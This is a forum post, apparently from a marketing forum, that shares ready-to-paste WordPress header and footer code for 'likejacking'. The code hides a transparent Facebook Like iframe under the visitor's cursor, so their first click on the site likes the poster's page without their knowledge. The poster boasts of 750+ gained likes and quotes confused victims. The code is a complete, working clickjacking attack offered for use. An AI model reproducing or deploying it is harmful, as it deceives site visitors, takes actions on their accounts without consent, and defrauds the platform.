KraftyKyle
Elite Member
- Aug 13, 2008
- 3,669
- 6,911
Someone mentioned they wanted to purchase a Facebook auto-like script. I realized one I had been using is actually working great. This, to my knowledge, bypasses the confirmation page. Now please keep in mind that it does not count EVERY visit as a like, but it does steadily increase the likes on your Facebook page. What it does is have the first click someone makes on your site, like your Facebook page. I put the code on one of my wordpress blogs about a week ago and have since seen an added 750+ likes to the page. I just checked today and many people were posting "I never liked this page why is it showing up on my newsfeed!" and comments like (just so you all know). It is not a script of my own, but I'm not really sure where I got it from. I just saw it on my computer one day. It's incredibly simple. Just replace the YOURFACBOOKPAGEURL in the footer code with your fan page url. Then put the header code in your header.php file or wherever your header is and then put the footer code in your footer.php file or wherever your footer is. enjoy!
header code
footer code
MERRY CHRISTMAS!
header code
Code:
<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id')=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}
</script>
footer code
Code:
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<iframe src="http://www.facebook.com/plugins/like.php?href=YOURFACEBOOKPAGEURL&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
</script>
MERRY CHRISTMAS!
Last edited: